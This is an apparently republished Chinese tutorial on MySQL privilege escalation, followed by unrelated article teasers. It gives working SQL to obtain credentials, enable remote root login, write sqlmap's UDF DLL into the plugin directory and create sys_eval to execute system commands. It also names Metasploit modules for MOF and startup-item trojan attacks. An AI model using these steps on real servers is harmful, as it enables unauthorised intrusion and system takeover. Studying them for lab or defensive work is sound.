权限提升数据库(基于MySQL的UDF,MOF,启动项提权)

news2024/11/24 20:45:41

获取数据库权限

如何获取数据库的最高权限用户的密码,常用方法有这些

网站存在高权限SQL注入点
数据库的存储文件或备份文件
网站应用源码中的数据库配置文件
采用工具或脚本爆破

 网站存在高权限SQL注入点

可以通过sqlmap拿到user表的账号密码,密码可能是MD5加密的。可以通过下面网站进行解密md5在线解密破解,md5解密加密 (cmd5.com)

 数据库的存储文件或备份文件

如图,打开C:\phpStudy\MySQL\data\mysql\user.MYD

 可以看到保存了账号密码,通过MD5解密得到密码

网站应用源码中的数据库配置文件

寻找config,inc等配置文件,最有效

采用工具或脚本爆破 

尝试弱密码或默认密码进行爆破

数据库提权

当我们可以通过远程连接拿到了数据库权限后,尝试提权到系统权限,而数据库一般都是高权限运行的,提权得到的权限也会是高权限

UDF提权

UDF(Userdefined function)即用户定义函数,这是MySQL提供给使用者添加新函数的机制

UDF提权的先决条件

获取mysql控制权限:获取了mysql的账号密码,且可以远程登录

mysql具有写入权限,即secure_file_priv的值不为空

开启远程登录

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;    开启远程登录
FLUSH PRIVILEGES;   刷新权限

手动提权及原理

查看MySQL是否有写入文件权限

show global variables like '%secure%';

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出,这个提权方法就失效了
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

这里为了实验需要,在配置文件加上这个选项

上传UDF的动态链接库文件

MySQL版本小于5.1导出C:\Windows\System32

MySQL版本大于5.1导出MySQL安装目录的lib\plugin,现在MySQL版本几乎都在这个范围

 select version();查看MySQL版本

select @@basedir;查看MySQL安装目录路径,sql里一个@表示变量引用,@@表示系统变量和全局变量

这里有一个问题,plugin文件可能不存在,这是网上说的一种方法,现在已经不行了

select 'xxx' into dumpfile 'C:\MySQL\lib\plugin::$INDEX_ALLOCATION';

遇到这种情况只能看自己是否能获取到Web权限,比如通过数据库里的账号密码信息,然后手动加上plugin或者尝试不用数据库来提权了

查看插件位置

show variables like 'plugin%';

现在我们需要查看操作系统和数据库的架构情况

select @@version_compile_os, @@version_compile_machine;

dll文件通过在sqlmap来获取

 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_或dll_的话,就需要解码,如果后缀名为.so或.dll的话就不需要解码即可直接使用 ,sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

 解密命令 python cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

 

 

接下来,就是把dll文件复制到plugin下,注意路径替换为自己的路径,这里需要注意\\,否则可能报错

select hex(load_file('E:\\sqlmap-1.7\\extra\\cloak\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';

写入udf.dll成功 

创建自定义函数

函数已经写好,下一步就是调用的问题了,创建自定义函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

查看是否创建成功

select * from mysql.func;

执行系统命令 

select sys_eval('whoami')

MOF提权

MOF提权在2008后因为权限控制而失效

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权

使用方法

使用msf  use exploit/windows/mysql/mysql_mof 

启动项提权 

将木马文件写入目标机器的启动项,当目标机器重启时,启动项里的木马也会一起执行,受到前面的secure_file_priv限制,如果限制了启动项,这种提权方式自然也失败了

 use exploit/windows/mysql/mysql_start_up

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1021700.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

短视频矩阵系统源码开发分享

①账号的建立与发布频率 要根据品牌的定位和特点,结合平台的特点和用户需求,制作符合品牌及个人形象的账号名称和内容发布主旨,以在短视频平台建立起自身标签,从而提升品牌知名度和美誉度。 发文频率也很关键,发文频…

新增MariaDB数据库管理、支持多版本MySQL数据库共存,1Panel开源面板v1.6.0发布

2023年9月18日,现代化、开源的Linux服务器运维管理面板1Panel正式发布v1.6.0版本。 在这个版本中,1Panel新增MariaDB数据库管理;支持多版本MySQL数据库共存;支持定时备份系统快照和应用商店中已安装应用;支持为防火墙…

零代码编程:用ChatGPT批量下载网站中的特定网页内容

http://blog.umd.edu/davidkass这个网站上有伯克希尔股东大会的一些文字稿,其标题如下: Notes From the Berkshire Hathaway 2020 Annual Meeting – May 2, 2020 Notes From the Berkshire Hathaway 2021 Annual Meeting – May 1, 2021 在右边的搜索…

MySQL 篇

目录 1、数据库三范式 2、数据库事务的特性 3、MySQL数据库引擎 4、说说 InnoDB 与 MyISAM 的区别 5、索引是什么? 6、索引数据结构 7、MySQL 索引类型有哪些? 8、索引有什么优缺点? 9、使用索引应该注意些什么? …

(图论) 827. 最大人工岛 ——【Leetcode每日一题】

❓ 827. 最大人工岛 难度:困难 给你一个大小为 n x n 二进制矩阵 grid 。最多 只能将一格 0 变成 1 。 返回执行此操作后,grid 中最大的岛屿面积是多少? 岛屿 由一组上、下、左、右四个方向相连的 1 形成。 示例 1: 输入: grid [[1, 0]…

redisplusplus笔记

redis与连接 Redis处理命令 connection主要方法及与reply关系 connection只支持移动语义&#xff0c;不支持拷贝和赋值 recv使用ReplyUPtr&#xff0c;即unique_ptr<redisReply, ReplyDeleter>,其中ReplyDeleter定义如下 struct ReplyDeleter {void operator()(redis…

从0搭建夜莺v6基础监控告警系统(二):采集数据、打通夜莺显示

文章目录 1. 写在前面1.1. categraf 采集数据1.2. 官方文档传送门 2. 配置过程2.1. 打通夜莺和 VictoriaMetrics2.2. 配置 Categraf2.3. 验证结果2.4. 配置仪表盘 3. 部署总结3.1. 操作总结3.2. 仪表盘展示 上一操作我们已经安装好了所需的基础服务&#xff0c;接下来需要打通各…

AI项目八:yolo5+Deepsort实现目标检测与跟踪(CPU版)

若该文为原创文章&#xff0c;转载请注明原文出处。 一、DeepSORT简介 DeepSORT 是一种计算机视觉跟踪算法&#xff0c;用于在为每个对象分配 ID 的同时跟踪对象。DeepSORT 是 SORT&#xff08;简单在线实时跟踪&#xff09;算法的扩展。DeepSORT 将深度学习引入到 SORT 算法中…

Android.bp常用语法和预定义属性

介绍 Android.bp是Android构建系统中用于定义模块和构建规则的配置文件&#xff0c;它使用一种简单的声明式语法。以下是Android.bp的一些常见语法规则和约定&#xff1a; 注释&#xff1a; 单行注释使用//符号。 多行注释使用/和/包围。 和go语言相同 // 这是单行注释 /* 这是…

爆破shadow文件密码脚本(完成版)

在之前的博客Python爆破shadow文件密码脚本&#xff08;简化版&#xff09;中我们做了简化版的爆破shadow文件密码的python脚本&#xff0c;接下来在之前代码的基础上改进&#xff1a; import crypt shadow_line"root:$y$j9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA…

charles报错Not allowed GET http://xx.xx.com/xx - connection dropped

现象&#xff1a;手机抓包时&#xff0c;charles提示Not allowed GET http://xx.xx.com/xx - connection&#xff0c;请求status显示block 排查原因&#xff1a; 1、换手机连接抓包工具&#xff0c;现象也是同上&#xff0c;可以排除手机的原因 2、检索网络上关于报错的解决方…

【HCIE】08.MPLS VPN跨域AB

MPLS VPN跨域A ASBR之间交换IPV4路由&#xff0c;采用IPVR数据包转发数据。该方式易于理解 跨域的要求 两个ASBR之间不能开启LDP&#xff0c;可以开启MPLS 因为两个路由器处于不同的AS之间&#xff0c;之间的IGP是不能互通的&#xff0c;之前是没有路由的 之所以中间不能开…

Java | 网络编程

不爱生姜不吃醋⭐️ 如果本文有什么错误的话欢迎在评论区中指正 与其明天开始&#xff0c;不如现在行动&#xff01; 文章目录 &#x1f334;前言&#x1f334;一、网络编程1.概念2.常见软件架构 &#x1f334;二、网络编程三要素1. IP2. 端口号3.协议 &#x1f334;总结 &…

Mybatis学习笔记7 参数处理专题

Mybatis学习笔记6 使用时的一些小技巧_biubiubiu0706的博客-CSDN博客 1.单个简单类型参数 2.Map参数 3.实体类参数 4.多参数 5.Param注解(命名参数) 6.Param源码分析 建表 插入点数据 新建模块 pom.xml <?xml version"1.0" encoding"UTF-8"?&…

STM32 USB CDC 虚拟串口

// 用虚拟串口(USB CDC VCP)感觉有些不稳定&#xff0c;尤其是下位机掉电后再上电&#xff0c;上位机虚拟的那个串口根本不能用&#xff0c;还有就是 // 必须等虚拟串口出来后且知道串口号上位机才可以执行打开操作// 上面是实际情况&#xff0c;但并不是STM32的USB不行&#x…

JUnit5单元测试提示“Not tests were found”错误

JUnit5单元测试提示“Not tests were found”错误&#xff0c;如下图所示&#xff1a; 或者 问题解析&#xff1a; 1&#xff09;使用Test注解时&#xff0c;不能有返回值&#xff1b; 2&#xff09;使用Test注解时&#xff0c;不能使用private关键字&#xff1b; 存在以上情…

C语言——贪吃蛇小游戏

目录 一、ncurse 1.1 为什么需要用ncurse&#xff1a; 1.2 ncurse的输入输出&#xff1a; 1.2.1 如何使用ncurse&#xff1a; 1.2.2 编译ncurse的程序&#xff1a; 1.2.3 测试输入一个按键ncurse的响应速度&#xff1a; 1.3 ncurse上下左右键获取&#xff1a; 1.3.1 如…

移动 Web 第一天

目标&#xff1a;使用位移、缩放、旋转、渐变效果丰富网页元素的呈现方式。 文章目录 01-平面转换简介平移定位居中案例-双开门旋转转换原点案例-时钟多重转换缩放案例-播放特效倾斜 02-渐变线性渐变案例-产品展示径向渐变 03-综合案例导航-频道箭头旋转频道列表 渐变按钮搜索…

什么是AJAX?如何使用原生JavaScript进行AJAX请求?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 什么是AJAX&#xff1f;⭐如何使用原生JavaScript进行AJAX请求&#xff1f;⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 欢迎来到前端入门之旅&#xff01;感兴趣的可以订阅本专栏哦&#xff01;这个专栏是为…

【ONE·Linux || 进程间通信(一)】

总言 进程间通信&#xff1a;简述进程间通信&#xff0c;介绍通信方式之一&#xff0c;管道通信&#xff08;匿名、名命&#xff09;。 文章目录 总言1、进程间通信简述2、管道2.1、简介2.2、匿名管道2.2.1、匿名管道的原理2.2.2、编码理解&#xff1a;用fork来共享管道2.2.2.…